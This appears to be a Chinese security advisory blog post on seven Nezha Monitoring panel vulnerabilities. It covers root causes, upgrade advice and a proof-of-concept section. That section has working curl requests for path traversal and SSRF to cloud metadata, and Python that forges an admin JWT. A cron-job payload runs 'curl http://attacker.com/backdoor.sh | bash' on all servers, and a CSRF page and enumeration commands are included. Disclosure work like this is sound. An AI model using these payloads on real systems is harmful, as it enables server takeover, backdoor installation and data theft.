哪吒探针(Nezha Monitoring)多高危漏洞深度技术分析
安全分栏 2026-06-17 19:23 8

 

预警等级:紧急|建议所有用户立即升级至 v2.0.13+

一、概述

2026年5月至6月,开源服务器监控工具哪吒探针(Nezha Monitoring) 被集中披露了多个高危安全漏洞,涵盖未授权路径穿越、跨租户远程代码执行、服务端请求伪造(SSRF)、信息泄露、数据伪造等多种类型。其中编号 CVE-2026-53519 的漏洞CVSS评分高达 9.1(高危) ,攻击者无需任何认证,仅需发送2次GET请求即可完全接管面板

更令人警惕的是,CVE-2026-46716 的CVSS评分达到 9.9(严重) ,允许低权限用户在所有被监控服务器上执行任意系统命令。据安全厂商披露,上述漏洞组合已被黑客组织武器化,大量服务器被植入后门、挖矿木马和DDoS攻击工具

所有漏洞均影响 v2.0.13 以下版本,官方已于2026年5月25日发布 v2.0.13 修复

二、漏洞详情

2.1 CVE-2026-53519:未授权路径穿越(Path Traversal)

CVSS评分:9.1(高危)

漏洞成因

哪吒面板的 NoRoute 处理器在处理未知路由时,会尝试将请求当作前端静态资源处理。问题在于,判断逻辑使用了 strings.HasPrefix(简单子字符串前缀匹配) 而非严格的路径段匹配

核心代码逻辑如下

text
1. fallbackToFrontend 将任何以 "/dashboard" 开头的 URL 视为前端资源请求
2. 使用 strings.HasPrefix 检查,而非路径段匹配
3. 输入 "/dashboard../data/config.yaml" 被接受
4. strings.TrimPrefix 处理后得到 "../data/config.yaml"
5. path.Join("admin-dist", "../data/config.yaml") 归一化为 "data/config.yaml"
6. os.Stat 找到该文件,http.ServeFile 直接返回

攻击路径

第一步:读取配置文件

攻击者构造如下GET请求

text
GET /dashboard../data/config.yaml

该请求可无需任何身份验证直接读取面板的核心配置文件 config.yaml,其中明文存储着

  • 完整数据库连接信息

  • 管理员账号与哈希密码

  • JWT 密钥(jwt_secret_key 

  • OAuth2 凭证

  • 服务器列表

第二步:伪造管理员身份

获取 JWT 密钥后,攻击者利用 HS256 对称加密算法伪造管理员的 JWT Cookie。只需知道管理员 ID(通常可从配置文件或公开信息中获取),即可生成合法令牌

第三步:完全接管

携带伪造的 Cookie 访问面板,攻击者即获得最高管理员权限,可完全控制面板及所有被监控的服务器

技术影响

  • 无需任何认证,完全未授权访问

  • 无需用户交互,攻击完全自动化

  • 2次GET请求即可完成整个攻击链

  • 可读取服务器上任意文件(不限于配置文件)

2.2 CVE-2026-46716:跨租户远程代码执行(Cross-Tenant RCE)

CVSS评分:9.9(严重)

漏洞成因

哪吒面板支持两种用户角色:RoleAdmin(管理员,Role==0)和 RoleMember(普通成员,Role==1)。计划任务(Cron)相关的路由被错误地挂载到了 commonHandler(仅需JWT认证,任何角色均可访问),而非 adminHandler(需管理员权限)

受影响端点包括:

  • POST /api/v1/cron

  • PATCH /api/v1/cron/:id

  • GET /api/v1/cron/:id/manual

  • POST /batch-delete/cron

攻击路径

  1. 攻击者以 RoleMember 身份登录(包括通过OAuth2自注册的用户)

  2. 创建计划任务时设置 Cover=CronCoverAllServers=[],并填入任意系统命令

  3. 调度器每次触发时,该命令被推送到全局 ServerShared 映射中的所有服务器——包括其他租户(管理员及其他成员)的服务器

  4. 每台Agent执行命令后将结果返回,通过攻击者控制的 NotificationGroup 发送到攻击者指定的Webhook

技术影响

  • 任何拥有 RoleMember 权限的用户均可触发(包括OAuth2自注册用户)

  • 跨租户影响:可控制部署中所有被监控主机

  • 可用于植入后门、挖矿木马、DDoS攻击工具等

2.3 CVE-2026-46717:服务端请求伪造(SSRF)with 响应体反射

CVSS评分:高危

漏洞成因

通知(Notification)相关路由 POST /api/v1/notification 和 PATCH /api/v1/notification/:id 同样被挂载到 commonHandler,允许 RoleMember 用户调用。

这些处理器会同步向用户控制的URL发起HTTP请求,并在非2xx响应时将完整的响应体(无大小限制) 直接返回给调用者。

攻击路径

  1. 攻击者以 RoleMember 身份登录

  2. 创建或修改通知配置,将 webhook_url 设置为内网目标地址(如 http://169.254.169.254/latest/meta-data/

  3. 面板服务器向该内网地址发起请求

  4. 完整的响应内容被反射回攻击者

技术影响

  • 低权限用户即可触发

  • 探测内网拓扑和开放服务

  • 可读取云厂商元数据服务(如AWS、阿里云等)

  • 响应体无大小限制,可泄露大量数据

2.4 CVE-2026-47124:WebSocket 跨租户遥测数据泄露

CVSS评分:中高危

漏洞成因

面板的 server-status WebSocket 在认证时存在缺陷:任何已认证用户(包括普通 RoleMember)连接后,即可接收所有服务器的遥测数据,而常规的服务器列表API会通过 HasPermission 进行权限过滤。

攻击路径

  1. 攻击者以任意有效账号登录

  2. 连接到 /server-status WebSocket

  3. 实时接收所有服务器的监控数据流

技术影响

  • 任何登录用户均可访问

  • 泄露其他用户的服务器信息(IP、负载、网络流量等)

  • 可进行资产测绘和攻击目标筛选

2.5 CVE-2026-48119:Agent 数据伪造(Service Monitor Result Forgery)

漏洞成因

面板接收 service-monitorTaskResult 消息时,仅验证了上报的服务ID是否存在,未验证上报的Agent是否被分配了该监控任务、是否属于该服务所有者。

攻击路径

  1. 攻击者拥有一个有效的Agent密钥和一台已注册的Agent

  2. 向面板提交伪造的监控结果,指定其他用户的服务ID

技术影响

  • 跨租户数据污染:可篡改其他用户的监控历史和当前状态

  • 可触发受害者服务的误报告警

  • 干扰运维决策

2.6 CVE-2026-49396:跨站请求伪造(CSRF)触发计划任务

漏洞成因

面板将计划任务的手动触发接口设计为 GET /api/v1/cron/:id/manual,且无CSRF Token、无Origin验证、无fetch-metadata防护

攻击路径

  1. 攻击者构造恶意网页或链接

  2. 诱使已登录面板的管理员点击

  3. 受害者的浏览器自动发起GET请求,触发任意已有的计划任务

技术影响

  • 可利用已存在的高权限计划任务执行恶意命令

  • 无需攻击者拥有任何账号权限

  • 结合CVE-2026-46716可形成完整的攻击链

2.7 CVE-2026-49397:私有服务信息泄露

漏洞成因

EnableShowInService: false 本应隐藏服务使其不出现在公开面板中。但以下两个接口未遵循该过滤逻辑

  • GET /api/v1/server/:id/service:返回所有服务(包括隐藏服务)

  • GET /api/v1/service/:id/history:直接返回服务信息

这两个接口挂载在 optionalAuth 组下,未认证的访客也可访问。

攻击路径

攻击者通过线性扫描小范围数字ID即可枚举所有隐藏服务。

技术影响

  • 无需任何认证

  • 泄露本应隐藏的服务名称和运行数据

  • 破坏隐私保护意图

三、真实攻击案例

据安全社区披露,已有大量哪吒探针用户遭到攻击

  • 受影响范围:面板连接的所有Agent机器被植入 gary@gary SSH后门公钥

  • 攻击后果:多台服务器被部署挖矿程序、持久化木马,或被用于发起DDoS攻击

  • 攻击特征:同一把SSH公钥 gary@gary 出现在大量受害服务器上

“攻击者能够直接在管理面板对服务器执行任何shell命令,所以被攻击者利用来安装木马攻击程序和挖矿程序,许多服务器由于长时间的CPU过载和攻击被服务商封禁。”

四、漏洞根因总结

分析上述漏洞,可归纳出以下共性问题:

 
 
根因类别 对应漏洞 问题描述
权限校验错误 CVE-2026-46716、CVE-2026-46717 将敏感API挂在 commonHandler 而非 adminHandler
输入校验不足 CVE-2026-53519 使用 strings.HasPrefix 而非路径段匹配
权限过滤缺失 CVE-2026-47124、CVE-2026-48119、CVE-2026-49397 未对数据访问进行租户/所有者隔离
CSRF防护缺失 CVE-2026-49396 状态变更操作使用GET方法且无CSRF Token

五、修复与防御措施

5.1 立即升级(强烈推荐)

升级到 v2.0.13 或更高版本是修复所有已知漏洞最根本、最有效的方法

bash
# 根据官方文档升级面板
# 具体升级命令请参考哪吒官方 GitHub Release 页面

5.2 临时缓解措施

如无法立即升级

  • 通过防火墙或反向代理严格限制面板管理页面的访问,仅允许可信IP

  • 将面板部署在内网,不直接暴露于公网

  • 配置 IP 白名单,阻断外部恶意攻击

5.3 安全加固建议

  1. 修改默认密码:V1版本默认使用弱口令 admin/admin,务必立即修改

  2. 限制Agent权限:在Agent配置文件(/opt/nezha/config.yml)中:

    • 设置 disable_command_execute: true(禁止远程命令执行)

    • 设置 disable_auto_update: true(禁止自动更新)

  3. 启用自动更新:确保始终使用最新版本

  4. 安全自查:升级后检查是否存在异常管理员账号、异常SSH密钥(特别是 gary@gary及异常计划任务

## 七、漏洞复现(PoC)

> **⚠️ 重要声明**:以下复现内容仅供安全研究和授权测试使用。未经授权利用漏洞攻击他人系统属于违法行为,请严格遵守法律法规。


### 7.1 CVE-2026-53519:未授权路径穿越

**漏洞原理**:哪吒面板的`NoRoute`处理器使用`strings.HasPrefix`判断URL是否以`/dashboard`开头,而非严格的路径段匹配。攻击者可通过`/dashboard../`绕过前缀检查实现目录遍历。

**复现步骤**:

**第一步:读取配置文件**

```bash
# 构造路径穿越请求,读取 config.yaml
curl -v "http://<面板IP>:<端口>/dashboard../data/config.yaml"
```

成功执行后,服务器将返回`config.yaml`文件内容,其中包含:
- `jwt_secret_key`:JWT签名密钥
- 数据库连接信息
- 管理员账号信息
- OAuth2凭证
- 服务器列表

**第二步:伪造JWT令牌**

获取`jwt_secret_key`后,使用HS256算法伪造管理员JWT:

```python
import jwt
import time

secret = "从config.yaml中获取的jwt_secret_key"
admin_id = 1  # 管理员ID通常为1

payload = {
    "id": admin_id,
    "role": 0,  # 0 代表管理员
    "exp": int(time.time()) + 86400  # 24小时有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(f"伪造的JWT: {token}")
```

**第三步:接管面板**

将伪造的JWT设置为Cookie(Cookie名称为`nz-jwt`),即可无需密码以管理员身份登录面板。

**完整攻击链**:仅需**2次GET请求**即可完成从信息窃取到完全接管的全过程。


### 7.2 CVE-2026-46716:跨租户远程代码执行(RCE)

**漏洞原理**:计划任务(Cron)相关API被错误地挂载到`commonHandler`(仅需JWT认证),而非`adminHandler`(需管理员权限)。低权限的`RoleMember`用户可创建覆盖所有服务器的计划任务。

**复现步骤**:

**前提条件**:拥有一个`RoleMember`账号(包括通过OAuth2自注册的用户)

**第一步:创建恶意计划任务**

```bash
# 以RoleMember身份登录后,创建计划任务
curl -X POST "http://<面板IP>:<端口>/api/v1/cron" \
  -H "Cookie: nz-jwt=<RoleMember的JWT>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "恶意任务",
    "command": "curl http://attacker.com/backdoor.sh | bash",
    "schedule": "@every 1m",
    "cover": 2,
    "servers": [],
    "notification_group_id": <攻击者控制的通知组ID>
  }'
```

参数说明:
- `cover: 2` 对应 `CronCoverAll`,表示覆盖所有服务器
- `servers: []` 空列表表示不限制特定服务器
- 命令将在**所有被监控服务器**上执行

**第二步:等待或触发执行**

任务会在调度器每次触发时执行,命令被推送到全局`ServerShared`映射中的所有服务器,包括其他租户的服务器。

**影响**:任何`RoleMember`用户均可获得**跨租户RCE**能力,在部署中的所有被监控主机上执行任意命令。


### 7.3 CVE-2026-46717:服务端请求伪造(SSRF)with 响应体反射

**漏洞原理**:通知(Notification)API被挂载到`commonHandler`,允许`RoleMember`用户调用。面板会向用户控制的URL发起HTTP请求,并将完整响应体返回给调用者。

**复现步骤**:

**前提条件**:拥有一个`RoleMember`账号

**创建恶意通知配置**:

```bash
# 利用通知功能发起SSRF请求
curl -X POST "http://<面板IP>:<端口>/api/v1/notification" \
  -H "Cookie: nz-jwt=<RoleMember的JWT>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "SSRF测试",
    "webhook_url": "http://169.254.169.254/latest/meta-data/",
    "template": "test"
  }'
```

**可探测的目标包括**:
- 云厂商元数据服务(`169.254.169.254`)
- 内网HTTP服务
- 内网其他面板/管理接口
- 任意可达的HTTP端点

**关键点**:响应体**无大小限制**,完整返回给攻击者。


### 7.4 CVE-2026-47124:WebSocket 跨租户遥测数据泄露

**漏洞原理**:`/server-status` WebSocket在认证时仅验证用户是否已登录,未进行权限过滤。任何认证用户均可接收所有服务器的遥测数据。

**复现步骤**:

**前提条件**:拥有任一有效账号(包括`RoleMember`)

**连接WebSocket获取所有服务器数据**:

```javascript
// 浏览器控制台或Node.js环境
const ws = new WebSocket("ws://<面板IP>:<端口>/server-status");

// 发送认证信息(具体格式取决于实现)
ws.onopen = function() {
    ws.send(JSON.stringify({
        token: "<任意有效JWT>"
    }));
};

ws.onmessage = function(event) {
    console.log("收到遥测数据:", JSON.parse(event.data));
    // 将收到所有服务器的监控数据,包括其他用户的服务器
};
```

**泄露的数据包括**:
- 服务器IP地址
- CPU/内存/磁盘使用率
- 网络流量
- 服务状态


### 7.5 CVE-2026-48119:Agent 数据伪造

**漏洞原理**:面板接收`service-monitorTaskResult`消息时,仅验证服务ID是否存在,未验证上报的Agent是否有权提交该服务的监控结果。

**复现步骤**:

**前提条件**:拥有一个有效的Agent密钥和一台已注册的Agent

**构造伪造的监控结果**:

```python
# 伪代码示例 - 需根据实际gRPC协议实现
import grpc
# 连接到面板的gRPC服务
channel = grpc.insecure_channel('<面板IP>:<gRPC端口>')
# 使用Agent密钥认证
# 提交伪造的监控结果,指定其他用户的服务ID
伪造消息 = {
    "service_id": <受害者服务ID>,
    "result": "伪造的监控数据",
    "status": "down"  # 可伪造服务宕机
}
# 发送消息
```

**影响**:
- 篡改其他用户的监控历史和当前状态
- 触发受害者的误报告警
- 干扰运维决策


### 7.6 CVE-2026-49396:跨站请求伪造(CSRF)触发计划任务

**漏洞原理**:计划任务手动触发接口使用`GET`方法(应为`POST`),且无CSRF Token、无Origin验证。JWT Cookie配置为`SameSite=Lax`,在顶级跨站GET请求中仍会被浏览器发送。

**复现步骤**:

**攻击者构造恶意页面**:

```html
<!-- attacker.com/exploit.html -->
<!DOCTYPE html>
<html>
<body>
    <!-- 方式1:图片标签自动加载 -->
    <img src="http://<面板IP>:<端口>/api/v1/cron/1/manual" style="display:none">
    
    <!-- 方式2:诱使用户点击链接 -->
    <a href="http://<面板IP>:<端口>/api/v1/cron/1/manual">
        点击领取福利
    </a>
</body>
</html>
```

**攻击流程**:
1. 攻击者需知道或猜测目标计划任务的ID(数字ID,可遍历)
2. 诱使已登录面板的管理员访问恶意页面
3. 管理员浏览器自动发起GET请求,携带`nz-jwt` Cookie
4. 计划任务被触发执行

**限制**:攻击者无法创建或修改计划任务命令,但可强制执行已存在的任务。


### 7.7 CVE-2026-49397:私有服务信息泄露

**漏洞原理**:`EnableShowInService: false`本应隐藏服务,但以下两个接口未遵循该过滤逻辑,且挂载在`optionalAuth`组下,**未认证访客**也可访问:
- `GET /api/v1/server/:id/service`:返回所有服务(包括隐藏服务)
- `GET /api/v1/service/:id/history`:直接返回服务信息

**复现步骤**:

**无需任何认证**,直接访问:

```bash
# 枚举服务器上的所有服务(包括隐藏服务)
curl "http://<面板IP>:<端口>/api/v1/server/1/service"
# 遍历server_id: 1, 2, 3, ...

# 直接获取特定服务的历史数据
curl "http://<面板IP>:<端口>/api/v1/service/1/history"
# 遍历service_id: 1, 2, 3, ...
```

泄露的信息:
- 隐藏服务的名称和存在性
- 服务延迟/响应时间数据
- 足以推断业务活动模式、宕机窗口和后端拓扑


 八、漏洞利用链总结

上述7个漏洞可组合形成完整的攻击链:

| 阶段 | 利用漏洞 | 攻击动作 |
|------|---------|---------|
| 侦察 | CVE-2026-49397 | 未认证枚举隐藏服务信息 |
| 权限获取 | CVE-2026-53519 | 读取config.yaml获取JWT密钥,伪造管理员身份 |
| 横向移动 | CVE-2026-47124 | 利用WebSocket获取所有服务器信息 |
| 内网探测 | CVE-2026-46717 | SSRF探测内网 |
| 命令执行 | CVE-2026-46716 | 跨租户RCE,在所有服务器执行任意命令 |
| 持久化 | CVE-2026-48119 | 伪造监控数据干扰运维 |
| 钓鱼利用 | CVE-2026-49396 | CSRF诱使管理员触发恶意任务 |

这一组合使得攻击者可以从零权限开始,逐步完成对整套监控系统和所有被监控服务器的完全控制。


⚠️ 再次声明:本文所有漏洞复现内容仅供安全研究和防御参考。未经授权利用上述漏洞攻击他人系统

Powered by ©IDCSMART